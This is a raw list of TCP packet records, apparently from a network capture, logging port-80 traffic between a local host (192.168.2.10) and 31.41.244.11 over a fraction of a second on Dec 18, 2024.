Dec 18, 2024 15:56:13.261384964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.261445045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.261576891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.261632919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.262078047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.262120962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.262218952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.262259960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.262731075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.262780905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.262785912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.262851954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.263521910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.263530016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.263576031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.264231920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.264292955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.264318943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.264405012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.264974117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.265068054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.265152931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.265199900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.265665054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.265757084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.265779018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.265907049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.266381979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.266463041 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.266508102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.266580105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.267098904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.267168999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.267229080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.267271042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.267865896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.267916918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.267963886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.268011093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.268557072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.268625021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.268691063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.268763065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.269527912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.269699097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.269745111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.269757032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.270142078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.270184040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.270260096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.270298004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.270778894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.270854950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.270879984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.270937920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.271450996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.271497965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.271543026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.271584988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.272269011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.272330046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.272371054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.272424936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.272944927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.272998095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.273049116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.273644924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.273726940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.273777962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.273816109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.274456024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.274564028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.274616003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.275137901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.275203943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.275228977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.275285006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.275886059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.275939941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.275942087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.276009083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.276612043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.276676893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.276747942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.276791096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.277306080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.277359009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.277427912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.277499914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.278053045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.278100014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.278171062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.278251886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.278778076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.278888941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.278955936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.279012918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.279577971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.279656887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.279669046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.279716969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.280284882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.280344963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.280350924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.280509949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.281091928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.281172991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.281205893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.281245947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.281725883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.281781912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.281827927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.281944990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.282603979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.282633066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.282680035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.283211946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.283282042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.283308983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.283365965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.283988953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.284044981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.415337086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.415431976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.415457010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.415503979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.415520906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.415563107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.415600061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.415638924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.416238070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.416285038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.416285992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.416321993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.417007923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.417052984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.417154074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.417196035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.441349983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.441414118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.441452980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.441492081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.441535950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.441549063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.441581964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.441601992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.442228079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.442275047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.442321062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.442363024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.443458080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.443509102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.443525076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.443538904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.443563938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.443589926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.443964005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.444005966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.444029093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.444068909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.444679022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.444721937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.444772005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.444816113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.445386887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.445430994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.445497036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.445539951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.446180105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.446233034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.446259975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.446305990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.447048903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.447098017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.447237015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.447279930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.447588921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.447632074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.447670937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.447715998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.448276043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.448323011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.448549032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.448592901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.449073076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.449116945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.449279070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.449327946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.449812889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.449858904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.449943066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.449985981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.450609922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.450680017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.450752974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.450795889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.451180935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.451222897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.451271057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.451306105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.452042103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.452083111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.452229023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.452271938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.452646971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.452692986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.452769041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.452811956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.453382969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.453437090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.453764915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.453808069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.454149961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.454205990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.454267979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.454312086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.454859972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.454905033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.455003977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.455046892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.455614090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.455657005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.455805063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.455847025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.456315041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.456366062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.456439972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.456485033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.457211018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.457223892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.457263947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.457278967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.457925081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.457945108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.457973003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.457986116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.458504915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.458554029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.458669901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.458714008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.459228039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.459271908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.459362984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.459399939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.459968090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.460015059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.460144997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.460185051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.460906982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.460953951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.461219072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.461266994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.461621046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.461671114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.461710930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.461754084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.462161064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.462208033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.462258101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.462301970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.462918043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.462961912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.463026047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.463069916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.463613033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.463661909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.463702917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.463745117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.464354992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.464402914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.464447021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.464488983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.465048075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.465089083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.465121031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.465159893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.465837955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.465887070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.466084957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.466134071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.466614008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.466661930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.466711998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.466754913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.467289925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.467344046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.467386007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.467427015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.468087912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.468135118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.468215942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.468255997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.468708992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.468750954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.468961000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.469006062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.469655037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.469698906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.469736099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.469770908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.470221996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.470264912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.470379114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.470418930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.471043110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.471082926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.471087933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.471123934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.471600056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.471641064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.471796036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.471836090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.472356081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.472398043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.472426891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.472465038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.474937916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.474951029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.474962950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475002050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.475027084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.475097895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475110054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475121021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475133896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.475164890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.475295067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475336075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.475732088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.475773096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.476016045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.476054907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.476134062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.476170063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.476635933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.476675987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.607729912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.607840061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.607911110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.607959986 CET	49749	80	192.168.2.10	31.41.244.11
